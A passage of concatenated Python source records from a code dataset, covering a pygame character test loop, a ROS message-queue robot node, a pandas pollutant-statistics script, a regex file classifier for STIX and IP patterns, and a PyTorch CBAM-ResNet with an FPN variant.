self.anim_frame_update:\n\n\t\t\t# update sprite index, reset anim frame\n\t\t\tself.sprite_index += 1\n\t\t\tself.anim_frame = 0\n\n\t\t# loop animation\n\t\tif self.sprite_index >= len(self.view_sprites):\n\t\t\tself.sprite_index = 0\n\n\t\t# update image\n\t\tself.image = self.view_sprites[self.sprite_index]\n\n\n\nif __name__ == '__main__':\n\t\"\"\"\n\ttest character\n\t\"\"\"\n\n\timport yaml\n\n\tfrom levels import LevelCharacter\n\tfrom game_logic import GameLogic\n\n\t# yaml config file\n\tcfg = yaml.safe_load(open(\"../config.yaml\"))\n\n\t# init pygame\n\tpygame.init()\n\n\t# init display\n\tscreen = pygame.display.set_mode(cfg['game']['screen_size'])\n\n\t# level creation\n\tlevel = LevelCharacter(screen, cfg['game']['screen_size'])\n\n\t# game logic\n\tgame_logic = GameLogic()\n\n\t# add clock\n\tclock = pygame.time.Clock()\n\n\t# game loop\n\twhile game_logic.run_loop:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT: \n\t\t\t\trun_loop = False\n\n\t\t\t# input handling\n\t\t\tgame_logic.event_update(event)\n\t\t\tlevel.event_update(event)\n\n\t\t# frame update\n\t\tgame_logic.update()\n\t\tlevel.update()\n\n\t\t# update display\n\t\tpygame.display.flip()\n\n\t\t# reduce frame rate\n\t\tclock.tick(cfg['game']['fps'])\n\n\t# end pygame\n\tpygame.quit()\n\n\n\n\n","sub_path":"game/character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":7411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"219119969","text":"# coding=utf-8\n\"\"\"\n20170210\nlight\n接受MQ消息的ros节点\n\"\"\"\nfrom MQhandler import MQListen\nfrom base import MotionHandler\nimport json\nimport os\nimport sys\nsys.path.append(os.path.abspath('.'))\nimport time\nimport django\nimport rospy\nfrom std_srvs.srv import Empty\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'RobotsServer.settings')\ndjango.setup()\nfrom core.models import MarkNode, Robot\n\n\nclass MQNode(MQListen):\n def __init__(self, robot_handler=None):\n super(MQNode, self).__init__()\n if not robot_handler:\n self.robot_handler = MotionHandler()\n else:\n self.robot_handler = robot_handler\n\n def run(self, ch, method, properties, body):\n body = json.loads(body)\n if \"no_ack\" in body:\n no_ack = body[\"no_ack\"]\n else:\n no_ack = True\n cat = body[\"category\"].lower()\n func = getattr(self, cat)\n delay = time.time() - body[\"timestamp\"]\n if delay <= body[\"delay\"]:\n if not no_ack:\n self.response(ch, method, properties, func(**body))\n else:\n func(**body)\n else:\n print(\"timeout, mission cancel\")\n ch.basic_ack(delivery_tag=method.delivery_tag)\n\n def goalmove(self, **kwargs):\n print(kwargs)\n self.robot_handler.goal(**kwargs)\n return True\n\n def update_status(self, **kwargs):\n robot = Robot.objects.get(id=kwargs[\"robot_id\"])\n stat = self.robot_handler.move_base.get_goal_status_text()\n if stat == \"\":\n mode = 0\n elif stat == \"Failed to find a valid plan. Even after executing recovery behaviors.\":\n self.clear_costmaps()\n mode = 1\n elif stat == \"This goal has been accepted by the simple action server\":\n mode = 1\n elif stat == 'ERROR: Called get_goal_status_text when no goal is running':\n mode = 0\n elif stat == \"Goal reached.\":\n mode = 0\n else:\n mode = 0\n if mode != robot.on_mission:\n robot.on_mission = mode\n robot.save()\n return 1\n\n def basemove(self, **kwargs):\n self.robot_handler.move(**kwargs)\n\n def marknode(self, **kwargs):\n robot = Robot.objects.get(id=kwargs[\"robot_id\"])\n node = MarkNode(robot=robot, label=kwargs[\"label\"], map_name=robot.local_map)\n (position, rotation) = self.robot_handler.get_coordinate()\n node.x = position.x\n node.y = position.y\n node.rz = rotation\n node.my_save()\n return {\"nodeId\": node.id}\n\n def clear_costmaps(self, **kwargs):\n self.robot_handler.clear_costmaps()\n return 1\n\n def cancel_all_goal(self, **kwargs):\n self.robot_handler.move_base.cancel_all_goals()\n return 1\n\n def back_dock(self, **kwargs):\n return self.robot_handler.back_dock()\n\nif __name__ == '__main__':\n MQNode().listen()\n","sub_path":"script/FetchNode.py","file_name":"FetchNode.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"58574121","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 15 15:12:19 2016\n\n@author: thasegawa\n\"\"\"\n\nimport os\nimport pandas as pd\nimport numpy as np\n\ndef calculateStatistics(subdata, column):\n series = subdata[column]\n count_val = series.count()\n nd_val = series.isnull().sum()\n min_val = series.min()\n max_val = series.max()\n mean_val = series.mean()\n std_val = series.std()\n median_val = series.median()\n geomean_val = series.prod()**(1/series.count())\n \n return (count_val, nd_val, min_val, max_val, mean_val, std_val, median_val, geomean_val)\n\ndef calculateStatistics_All(subdata, columns, chemical_columns, chemical, units):\n phase_list = []\n chem_list = []\n count_list = []\n nd_list = []\n min_list = []\n max_list = []\n mean_list = []\n std_list = []\n median_list = []\n geomean_list = []\n for phase in ['Dissolved', 'Solids', 'Whole Water', '% Dissolved', 'Particulates']:\n subdata2 = subdata[subdata['Phase'] == phase]\n phase_list += [phase]*len(chemical_columns)\n for chemical_column in chemical_columns:\n [count_val, nd_val, min_val, max_val, mean_val, std_val, median_val, geomean_val] = calculateStatistics(subdata2, chemical_column)\n chem_list.append(chemical_column)\n count_list.append(count_val)\n nd_list.append(nd_val)\n min_list.append(min_val)\n max_list.append(max_val)\n mean_list.append(mean_val)\n std_list.append(std_val)\n median_list.append(median_val)\n geomean_list.append(geomean_val)\n\n output = pd.DataFrame({'Phase': phase_list,\n 'Grouping': [chemical]*len(phase_list),\n 'Parameter': chem_list,\n 'Units': [units]*len(phase_list),\n 'N': count_list,\n 'ND': nd_list,\n 'Min': min_list,\n 'Max': max_list,\n 'Mean': mean_list,\n 'Std Dev': std_list,\n 'Median': median_list,\n 'GeoMean': geomean_list})\n output = output[columns]\n return output\n\nmaindir = r\"C:\\Users\\thasegawa\\Documents\\68 NYC DEP Papers\\05 Data\\Newtown Creek\\Summary Stats\"\nos.chdir(maindir)\n\n# Read data\nchemical_list = [['TSS', # chemical Name\n 'TSS-POC-DOC', # sheet name\n 'TSS (mg/L)', # column name\n 'mg/L', # units (solids are always mg/kg)\n False], # phases (False if no phase filter needed)\n ['TPAH',\n 'TPAH',\n 'TPAH',\n 'ng/L',\n ['Whole Water', 'On Solids']],\n ['TPCB',\n 'TPCB',\n 'TPCB (SumCongeners)',\n 'pg/L',\n ['Whole Water', 'On Solids']],\n ['Copper',\n 'Metals-DRO-GRO',\n 'COPPER',\n 'ug/L',\n ['Whole Water', 'On Solids']],\n ['Lead',\n 'Metals-DRO-GRO',\n 'LEAD',\n 'ug/L',\n ['Whole Water', 'On Solids']],\n ['Mercury',\n 'Metals-DRO-GRO',\n 'MERCURY',\n 'ng/L',\n ['Whole Water', 'On Solids']]]\nchemical = 'PCB'\nunits = 'pg/L'\nsuffix = 'v3'\ndata = pd.read_excel(os.path.join(maindir, 'data_{0}_{1}.xlsx'.format(chemical, suffix)))\n\nbigCSO_list = [\"NCB-083\", \"NCQ-077\", \"NCB-015\", \"BB-026\"]\n\n# Declare columns\ncolumns = ['Phase',\n 'Grouping',\n 'Parameter',\n 'Units',\n 'N',\n 'ND',\n 'Min',\n 'Max',\n 'Mean',\n 'Std Dev',\n 'Median',\n 'GeoMean']\nchemical_columns = data.columns.values[8:]\n\n# Calculate statistics for big CSOs\nsubdata = data[data['Location'].isin(bigCSO_list)] \nbigCSOs = calculateStatistics_All(subdata, columns, chemical_columns, chemical, units)\nbigCSOs.to_excel('stats_bigCSOs_{0}_{1}.xlsx'.format(chemical, suffix))\n\n# Calculate statistics for small CSOs\nsubdata = data[(~data['Location'].isin(bigCSO_list)) & (data['LocType'] == 'CSO')] \nsmallCSOs = calculateStatistics_All(subdata, columns, chemical_columns, chemical, units)\nsmallCSOs.to_excel('stats_smallCSOs_{0}_{1}.xlsx'.format(chemical, suffix))\n\n# Calculate statistics for all CSOs\nsubdata = data[data['LocType'] == 'CSO'] \nallCSOs = calculateStatistics_All(subdata, columns, chemical_columns, chemical, units)\nallCSOs.to_excel('stats_allCSOs_{0}_{1}.xlsx'.format(chemical, suffix))\n\n# Calculate statistics for all WWTPs\nsubdata = data[data['LocType'] == 'WWTP'] \nallWWTPs = calculateStatistics_All(subdata, columns, chemical_columns, chemical, units)\nallWWTPs.to_excel('stats_WWTPs_{0}_{1}.xlsx'.format(chemical, suffix))","sub_path":"SummaryStats_20160715.py","file_name":"SummaryStats_20160715.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"417829723","text":"import os, re, shutil\nimport config\n\n\ndef join_directories(first_directory, second_directory, target_directory):\n if not os.path.exists(os.path.join(target_directory, 'join')):\n os.mkdir(os.path.join(target_directory, 'join'))\n new_directory = os.path.join(target_directory, 'join', first_directory.split('/')[-1] + '_' + second_directory.split('/')[-1])\n if not os.path.exists(new_directory):\n os.mkdir(new_directory)\n for item in os.listdir(first_directory) and os.listdir(second_directory):\n os.symlink(os.readlink(os.path.join(first_directory, item)), os.path.join(new_directory, item))\n\n\ndef file_classifier(pattern_constructor_instance, origin_directory, target_directory):\n group_result = regex_group(pattern_constructor_instance, origin_directory)\n save_directory = os.path.join(target_directory, str(pattern_constructor_instance))\n if not os.path.exists(save_directory):\n os.mkdir(save_directory)\n for name, file_list in group_result.items():\n if not os.path.exists(os.path.join(save_directory, name)):\n os.mkdir(os.path.join(save_directory, name))\n for file in file_list:\n # os.symlink(os.path.join(origin_directory, file), os.path.join(save_directory, name, file))\n shutil.copyfile(os.path.join(origin_directory, file), os.path.join(save_directory, name, file))\n\n\ndef regex_group(pattern_constructor_instance, directory_path):\n result_filenames = {}\n for filename in os.listdir(directory_path):\n filepath = os.path.join(directory_path, filename)\n if os.path.getsize(filepath):\n results = regex_extract(pattern_constructor_instance, filepath)\n if results:\n for result in results:\n if result in result_filenames:\n result_filenames[result].append(filename)\n else:\n result_filenames[result] = [filename]\n else:\n if 'unclassified' in result_filenames:\n result_filenames['unclassified'].append(filename)\n else:\n result_filenames['unclassified'] = [filename]\n\n return result_filenames\n\n\ndef regex_extract(pattern_constructor_instance, file_path):\n if file_path == \".DS_Store\":\n return\n white_patterns, black_patterns = pattern_constructor_instance()\n result = []\n with open(file_path, 'r', encoding=\"utf-8\") as file:\n for line in file:\n for white_pattern in white_patterns:\n searches = re.search(white_pattern, line)\n if searches:\n search = searches.group(0 if not searches.lastindex else searches.lastindex)\n is_black = False\n for black_pattern in black_patterns:\n if re.match(black_pattern, search):\n is_black = True\n break\n if not is_black:\n result.append(search)\n return set(result) # distinct\n\n\nclass _CustomedPatternConstructor:\n def __str__(self):\n return 'Customed'\n\n def __call__(self):\n white_patterns = []\n black_patterns = []\n key = r'Redacted Signature'\n white_patterns.append(key)\n return white_patterns, black_patterns\n\n\n# timestamp=\"2017-05-02T14:21:36Z\" version=\"1.1.1\"\nclass _STIXTimestampPatternConstructor:\n def __str__(self):\n return 'STIXTimestamp'\n\n def __call__(self):\n white_patterns = []\n black_patterns = []\n timestamp = r'timestamp=\"(\\d{4}-\\d{2}-\\d{2}).+?\" version=\"1.1.1\"'\n white_patterns.append(timestamp)\n return white_patterns, black_patterns\n\n\nclass _NameCodePatternConstructor:\n def __str__(self):\n return 'NameCode'\n\n def __call__(self):\n white_patterns = []\n black_patterns = []\n namecode = r'NameCode=\"[A-Za-z]+?-[A-Za-z]+?\"'\n white_patterns.append(namecode)\n return white_patterns, black_patterns\n\n\nclass _IndustryTypePatternConstructor:\n def __str__(self):\n return 'IndustryType'\n\n def __call__(self):\n white_patterns = []\n black_patterns = []\n industrytype = r'IndustryType=\".*?\"'\n white_patterns.append(industrytype)\n return white_patterns, black_patterns\n\n\nclass _IpPatternConstructor:\n def __str__(self):\n return 'IP'\n\n def __call__(self):\n white_patterns = []\n black_patterns = []\n ip = r'(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'\n private_ip1 = r'^10\\.'\n private_ip2 = r'^172\\.(?:1[6-9]|2[0-9]|3[01])\\.'\n private_ip3 = r'^192\\.168\\.'\n local_loop_ip = r'127\\.0\\.0\\.1'\n white_patterns.append(ip)\n black_patterns.append(private_ip1)\n black_patterns.append(private_ip2)\n black_patterns.append(private_ip3)\n black_patterns.append(local_loop_ip)\n return white_patterns, black_patterns\n\n\nif __name__ == '__main__':\n directoryPath = config.DIRECTORY_PATH\n result = regex_group(_CustomedPatternConstructor(), directoryPath)\n for key in sorted(result):\n print(key)\n for t in result[key]:\n print(t)\n\n # directoryPath = config.DIRECTORY_PATH\n # saveDirectoryPath = config.SAVE_DIRECTORY_PATH\n # file_classifier(_IndustryTypePatternConstructor(), directoryPath, saveDirectoryPath)\n\n # firstDirectory = ''\n # secondDirectory = ''\n # saveDirectoryPath = ''\n # join_directories(firstDirectory, secondDirectory, saveDirectoryPath)","sub_path":"basic_analysis/regex_comparator.py","file_name":"regex_comparator.py","file_ext":"py","file_size_in_byte":5631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"455124119","text":"\"\"\"\r\n 加了预训练\r\n\"\"\"\r\n__all__ = ['CbamResNet',\r\n # 'cbam_resnet18', 'cbam_resnet34',\r\n 'cbam_resnet50',\r\n # 'cbam_resnet101', 'cbam_resnet152'\r\n ]\r\n\r\nimport os\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.init as init\r\nfrom pytorchcv.models.common import conv1x1_block, conv7x7_block\r\nfrom pytorchcv.models.resnet import ResInitBlock, ResBlock, ResBottleneck\r\nimport torch.nn.functional as F\r\nfrom resnet import BasicBlock, Bottleneck, ResNet, resnet18\r\n\r\nclass MLP(nn.Module):\r\n \"\"\"\r\n Multilayer perceptron block.\r\n\r\n Parameters:\r\n ----------\r\n channels : int\r\n Number of input/output channels.\r\n reduction_ratio : int, default 16\r\n Channel reduction ratio.\r\n \"\"\"\r\n def __init__(self,\r\n channels,\r\n reduction_ratio=16):\r\n super(MLP, self).__init__()\r\n mid_channels = channels // reduction_ratio\r\n\r\n self.fc1 = nn.Linear(\r\n in_features=channels,\r\n out_features=mid_channels)\r\n self.activ = nn.ReLU(inplace=True)\r\n self.fc2 = nn.Linear(\r\n in_features=mid_channels,\r\n out_features=channels)\r\n\r\n def forward(self, x):\r\n x = x.view(x.size(0), -1)\r\n x = self.fc1(x)\r\n x = self.activ(x)\r\n x = self.fc2(x)\r\n return x\r\n\r\nclass ChannelGate(nn.Module):\r\n \"\"\"\r\n CBAM channel gate block.\r\n\r\n Parameters:\r\n ----------\r\n channels : int\r\n Number of input/output channels.\r\n reduction_ratio : int, default 16\r\n Channel reduction ratio.\r\n \"\"\"\r\n def __init__(self,\r\n channels,\r\n reduction_ratio=16):\r\n super(ChannelGate, self).__init__()\r\n\r\n self.avg_pool = nn.AdaptiveAvgPool2d(output_size=(1, 1))\r\n self.max_pool = nn.AdaptiveMaxPool2d(output_size=(1, 1))\r\n self.mlp = MLP(\r\n channels=channels,\r\n reduction_ratio=reduction_ratio)\r\n self.sigmoid = nn.Sigmoid()\r\n\r\n def forward(self, x):\r\n att1 = self.avg_pool(x)\r\n att1 = self.mlp(att1)\r\n att2 = self.max_pool(x)\r\n att2 = self.mlp(att2)\r\n att = att1 + att2\r\n att = self.sigmoid(att)\r\n att = att.unsqueeze(2).unsqueeze(3).expand_as(x)\r\n x = x * att\r\n return x\r\n\r\nclass SpatialGate(nn.Module):\r\n \"\"\"\r\n CBAM spatial gate block.\r\n \"\"\"\r\n def __init__(self):\r\n super(SpatialGate, self).__init__()\r\n self.conv = conv7x7_block(\r\n in_channels=2,\r\n out_channels=1,\r\n activation=None)\r\n self.sigmoid = nn.Sigmoid()\r\n\r\n def forward(self, x):\r\n att1 = x.max(dim=1)[0].unsqueeze(1)\r\n att2 = x.mean(dim=1).unsqueeze(1)\r\n att = torch.cat((att1, att2), dim=1)\r\n att = self.conv(att)\r\n att = self.sigmoid(att)\r\n x = x * att\r\n return x\r\n\r\nclass CbamBlock(nn.Module):\r\n \"\"\"\r\n CBAM attention block for CBAM-ResNet.\r\n\r\n Parameters:\r\n ----------\r\n channels : int\r\n Number of input/output channels.\r\n reduction_ratio : int, default 16\r\n Channel reduction ratio.\r\n \"\"\"\r\n def __init__(self,\r\n channels,\r\n reduction_ratio=16):\r\n super(CbamBlock, self).__init__()\r\n self.ch_gate = ChannelGate(\r\n channels=channels,\r\n reduction_ratio=reduction_ratio)\r\n self.sp_gate = SpatialGate()\r\n\r\n def forward(self, x):\r\n x = self.ch_gate(x)\r\n x = self.sp_gate(x)\r\n return x\r\n\r\nclass CbamResUnit(nn.Module):\r\n \"\"\"\r\n CBAM-ResNet unit.\r\n\r\n Parameters:\r\n ----------\r\n in_channels : int\r\n Number of input channels.\r\n out_channels : int\r\n Number of output channels.\r\n stride : int or tuple/list of 2 int\r\n Strides of the convolution.\r\n bottleneck : bool\r\n Whether to use a bottleneck or simple block in units.\r\n \"\"\"\r\n def __init__(self,\r\n in_channels,\r\n out_channels,\r\n stride,\r\n bottleneck):\r\n super(CbamResUnit, self).__init__()\r\n self.resize_identity = (in_channels != out_channels) or (stride != 1)\r\n\r\n if bottleneck:\r\n self.body = ResBottleneck(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n stride=stride,\r\n conv1_stride=False)\r\n else:\r\n self.body = ResBlock(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n stride=stride)\r\n if self.resize_identity:\r\n self.identity_conv = conv1x1_block(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n stride=stride,\r\n activation=None)\r\n self.cbam = CbamBlock(channels=out_channels)\r\n self.activ = nn.ReLU(inplace=True)\r\n\r\n def forward(self, x):\r\n if self.resize_identity:\r\n identity = self.identity_conv(x)\r\n else:\r\n identity = x\r\n x = self.body(x)\r\n x = self.cbam(x)\r\n x = x + identity\r\n x = self.activ(x)\r\n return x\r\n\r\nclass CbamResNet(nn.Module):\r\n def __init__(self,\r\n channels,\r\n init_block_channels,\r\n bottleneck,\r\n in_channels=3,\r\n in_size=(224, 224),\r\n num_classes=1000):\r\n super(CbamResNet, self).__init__()\r\n self.in_size = in_size\r\n self.num_classes = num_classes\r\n\r\n self.features = nn.Sequential()\r\n self.features.add_module(\"init_block\", ResInitBlock(\r\n in_channels=in_channels,\r\n out_channels=init_block_channels))\r\n in_channels = init_block_channels\r\n for i, channels_per_stage in enumerate(channels):\r\n stage = nn.Sequential()\r\n for j, out_channels in enumerate(channels_per_stage):\r\n stride = 2 if (j == 0) and (i != 0) else 1\r\n stage.add_module(\"unit{}\".format(j + 1), CbamResUnit(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n stride=stride,\r\n bottleneck=bottleneck))\r\n in_channels = out_channels\r\n self.features.add_module(\"stage{}\".format(i + 1), stage)\r\n # print(self.features)\r\n # self.features.add_module(\"final_pool\", nn.AvgPool2d(\r\n # kernel_size=7,\r\n # stride=1))\r\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\r\n # DACL attention network\r\n self.nb_head = 2048\r\n self.attention = nn.Sequential(\r\n nn.Linear(2048 * 7 * 7, 512),\r\n nn.BatchNorm1d(512),\r\n nn.ReLU(inplace=True),\r\n # nn.Linear(3584, 512),\r\n # nn.BatchNorm1d(512),\r\n # nn.ReLU(inplace=True),\r\n nn.Linear(512, 64),\r\n nn.BatchNorm1d(64),\r\n nn.Tanh(),\r\n )\r\n self.attention_heads = nn.Linear(64, 2 * self.nb_head)\r\n\r\n self.output = nn.Linear(\r\n in_features=in_channels,\r\n out_features=num_classes)\r\n self.fc = nn.Linear(2048, num_classes)\r\n self._init_params()\r\n\r\n def _init_params(self):\r\n for name, module in self.named_modules():\r\n if isinstance(module, nn.Conv2d):\r\n init.kaiming_uniform_(module.weight)\r\n if module.bias is not None:\r\n init.constant_(module.bias, 0)\r\n\r\n def forward(self, x):\r\n # print(\"input.shape==================\",x.shape)\r\n x = self.features(x)\r\n # print(\"feature.shape==================\",x.shape)\r\n # x = self.avgpool(x)\r\n # print(\"x.shape==================\", x.shape)\r\n\r\n # DACL attention\r\n x_flat = torch.flatten(x, 1)\r\n # print(\"x_flat.shape==================\", x.shape)\r\n E = self.attention(x_flat)\r\n # print(\"E.shape==================\", E.shape)\r\n A = self.attention_heads(E).reshape(-1, 2048, 2).softmax(dim=-1)[:, :, 1]\r\n # print(\"A.shape==================\", A.shape)\r\n\r\n\r\n x = self.avgpool(x)\r\n f = torch.flatten(x, 1)\r\n # f = A.view(A.size(0), -1)\r\n # print(\"f.shape==================\", f.shape)\r\n out = self.fc(f)\r\n # out = self.output(f)\r\n # print(\"out.shape==================\", out.shape)\r\n\r\n return f, out, A\r\n # return out 改成下面\r\n # x = x.view(x.size(0), -1)\r\n # x = self.output(x)\r\n # return out\r\n\r\nclass FPNCbamResNet(nn.Module):\r\n def __init__(self,\r\n channels,\r\n init_block_channels,\r\n bottleneck,\r\n in_channels=3,\r\n in_size=(224, 224),\r\n num_classes=1000):\r\n super(FPNCbamResNet, self).__init__()\r\n self.in_size = in_size\r\n self.num_classes = num_classes\r\n\r\n ##FPN layers\r\n self.in_planes = 64\r\n\r\n self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False)\r\n self.bn1 = nn.BatchNorm2d(64)\r\n # Bottom-up layers\r\n #self.layer2 = self._make_layer(ResInitBlock, 64, channels[0][0], stride=1) (stage1)\r\n #self.layer3 = self._make_layer(ResInitBlock, 128, channels[1][0], stride=2) (stage2)\r\n #self.layer4 = self._make_layer(ResInitBlock, 256, channels[2][0], stride=2) (stage3)\r\n #self.layer5 = self._make_layer(ResInitBlock, 512, channels[3][0], stride=2) (stage4)\r\n self.conv6 = nn.Conv2d(2048, 256, kernel_size=3, stride=2, padding=1)\r\n self.conv7 = nn.Conv2d( 256, 256, kernel_size=3, stride=2, padding=1)\r\n\r\n # Top layer\r\n self.toplayer = nn.Conv2d(2048, 256, kernel_size=1, stride=1, padding=0) # Reduce channels\r\n\r\n # Smooth layers\r\n self.smooth1 = nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1)\r\n self.smooth2 = nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1)\r\n\r\n # Lateral layers\r\n self.latlayer1 = nn.Conv2d(1024, 256, kernel_size=1, stride=1, padding=0)\r\n self.latlayer2 = nn.Conv2d( 512, 256, kernel_size=1, stride=1, padding=0)\r\n ###\r\n\r\n self.features = nn.Sequential()\r\n self.features.add_module(\"init_block\", ResInitBlock(\r\n in_channels=in_channels,\r\n out_channels=init_block_channels))\r\n in_channels = init_block_channels\r\n\r\n self.stage1 = nn.Sequential()\r\n for j, out_channels in enumerate(channels[0]):\r\n stride = 2 if (j == 0) and (0 != 0) else 1\r\n self.stage1.add_module(\"unit{}\".format(j + 1), CbamResUnit(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n stride=stride,\r\n bottleneck=bottleneck))\r\n in_channels = out_channels\r\n self.stage2 = nn.Sequential()\r\n for j, out_channels in enumerate(channels[1]):\r\n stride = 2 if (j == 0) and (1 != 0) else 1\r\n self.stage2.add_module(\"unit{}\".format(j + 1), CbamResUnit(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n stride=stride,\r\n bottleneck=bottleneck))\r\n in_channels = out_channels\r\n self.stage3 = nn.Sequential()\r\n for j, out_channels in enumerate(channels[2]):\r\n stride = 2 if (j == 0) and (2 != 0) else 1\r\n self.stage3.add_module(\"unit{}\".format(j + 1), CbamResUnit(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n stride=stride,\r\n bottleneck=bottleneck))\r\n in_channels = out_channels\r\n self.stage4 = nn.Sequential()\r\n for j, out_channels in enumerate(channels[3]):\r\n stride = 2 if (j == 0) and (3 != 0) else 1\r\n self.stage4.add_module(\"unit{}\".format(j + 1), CbamResUnit(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n stride=stride,\r\n bottleneck=bottleneck))\r\n in_channels = out_channels\r\n\r\n self.feat_out1 = nn.Linear(200704, num_classes)\r\n self.feat_out2 = nn.Linear(50176, num_classes)\r\n self.feat_out3 = nn.Linear(12544, num_classes)\r\n self.feat_out4 = nn.Linear(4096, num_classes)\r\n self.feat_out5 = nn.Linear(1024, num_classes)\r\n\r\n self.final_out = nn.Linear(num_classes*5, num_classes)\r\n # print(self.features)\r\n # self.features.add_module(\"final_pool\", nn.AvgPool2d(\r\n # kernel_size=7,\r\n # stride=1))\r\n self.final_pool = nn.AvgPool2d(kernel_size=7,stride=1)\r\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\r\n # DACL attention network\r\n self.nb_head = 2048\r\n self.attention = nn.Sequential(\r\n nn.Linear(2048 * 7 * 7, 512),\r\n nn.BatchNorm1d(512),\r\n nn.ReLU(inplace=True),\r\n # nn.Linear(3584, 512),\r\n # nn.BatchNorm1d(512),\r\n # nn.ReLU(inplace=True),\r\n nn.Linear(512, 64),\r\n nn.BatchNorm1d(64),\r\n nn.Tanh(),\r\n )\r\n self.attention_heads = nn.Linear(64, 2 * self.nb_head)\r\n\r\n self.output = nn.Linear(\r\n in_features=in_channels,\r\n out_features=num_classes)\r\n self.fc = nn.Linear(2048, num_classes)\r\n self._init_params()\r\n\r\n def _init_params(self):\r\n for name, module in self.named_modules():\r\n if isinstance(module, nn.Conv2d):\r\n init.kaiming_uniform_(module.weight)\r\n if module.bias is not None:\r\n init.constant_(module.bias, 0)\r\n\r\n def _make_layer(self, block, planes, num_blocks, stride):\r\n strides = [stride] + [1]*(num_blocks-1)\r\n layers = []\r\n for stride in strides:\r\n layers.append(block(self.in_planes, planes, stride))\r\n self.in_planes = planes * block.expansion\r\n return nn.Sequential(*layers)\r\n\r\n def _upsample_add(self, x, y):\r\n '''Upsample and add two feature maps.\r\n Args:\r\n x: (Variable) top feature map to be upsampled.\r\n y: (Variable) lateral feature map.\r\n Returns:\r\n (Variable) added feature map.\r\n Note in PyTorch, when input size is odd, the upsampled feature map\r\n with `F.upsample(..., scale_factor=2, mode='nearest')`\r\n maybe not equal to the lateral feature map size.\r\n e.g.\r\n original input size: [N,_,15,15] ->\r\n conv2d feature map size: [N,_,8,8] ->\r\n upsampled feature map size: [N,_,16,16]\r\n So we choose bilinear upsample which supports arbitrary output sizes.\r\n '''\r\n _,_,H,W = y.size()\r\n return F.upsample(x, size=(H,W), mode='bilinear') + y\r\n\r\n '''\r\n def forward(self, x):\r\n # Bottom-up\r\n #resinitblock\r\n c1 = F.relu(self.bn1(self.conv1(x)))\r\n c1 = F.max_pool2d(c1, kernel_size=3, stride=2, padding=1)\r\n \r\n c2 = self.layer2(c1)\r\n c3 = self.layer3(c2)\r\n c4 = self.layer4(c3)\r\n c5 = self.layer5(c4)\r\n p6 = self.conv6(c5)\r\n p7 = self.conv7(F.relu(p6))\r\n # Top-down\r\n p5 = self.toplayer(c5)\r\n p4 = self._upsample_add(p5, self.latlayer1(c4))\r\n p3 = self._upsample_add(p4, self.latlayer2(c3))\r\n # Smooth\r\n p4 = self.smooth1(p4)\r\n p3 = self.smooth2(p3)\r\n return p3, p4, p5, p6, p7\r\n\r\n '''\r\n\r\n def forward(self, x):\r\n # print(\"input.shape==================\",x.shape)\r\n x = self.features(x)\r\n # print(\"feature.shape==================\",x.shape)\r\n\r\n c2 = self.stage1(x)\r\n c3 = self.stage2(c2)\r\n c4 = self.stage3(c3)\r\n c5 = self.stage4(c4) \r\n print(\"c2.shape==================\", c2.shape)\r\n print(\"c3.shape==================\", c3.shape)\r\n print(\"c4.shape==================\", c4.shape)\r\n print(\"c5.shape==================\", c5.shape)\r\n\r\n p6 = self.conv6(c5)\r\n p7 = self.conv7(F.relu(p6))\r\n # Top-down\r\n p5 = self.toplayer(c5)\r\n p4 = self._upsample_add(p5, self.latlayer1(c4))\r\n p3 = self._upsample_add(p4, self.latlayer2(c3))\r\n # Smooth\r\n p4 = self.smooth1(p4)\r\n p3 = self.smooth2(p3)\r\n print(\"p3.shape==================\", p3.shape)\r\n print(\"p4.shape==================\", p4.shape)\r\n print(\"p5.shape==================\", p5.shape)\r\n print(\"p6.shape==================\", p6.shape)\r\n print(\"p7.shape==================\", p7.shape)\r\n\r\n '''keras implementation\r\n # \"P6 is obtained via a 3x3 stride-2 conv on C5\"\r\n P6 = keras.layers.Conv2D(feature_size, kernel_size=3, strides=2, padding='same', name='P6')(C5)\r\n\r\n # \"P7 is computed by applying ReLU followed by a 3x3 stride-2 conv on P6\"\r\n P7 = keras.layers.Activation('relu', name='C6_relu')(P6)\r\n P7 = keras.layers.Conv2D(feature_size, kernel_size=3, strides=2, padding='same', name='P7')(P7)\r\n\r\n P5 = keras.layers.Conv2D(feature_size, kernel_size=1, strides=1, padding='same', name='C5_reduced')(C5)\r\n P5_upsampled = layers.UpsampleLike(name='P5_upsampled')([P5, C4])\r\n P5 = keras.layers.Conv2D(feature_size, kernel_size=3, strides=1, padding='same', name='P5')(P5)\r\n\r\n # Concatenate P5 elementwise to C4\r\n P4 = keras.layers.Conv2D(feature_size, kernel_size=1, strides=1, padding='same', name='C4_reduced')(C4)\r\n P4 = keras.layers.Concatenate(axis=3)([P5_upsampled, P4])\r\n P4_upsampled = layers.UpsampleLike(name='P4_upsampled')([P4, C3])\r\n P4 = keras.layers.Conv2D(feature_size, kernel_size=3, strides=1, name='P4')(P4)\r\n\r\n # Concatenate P4 elementwise to C3\r\n P3 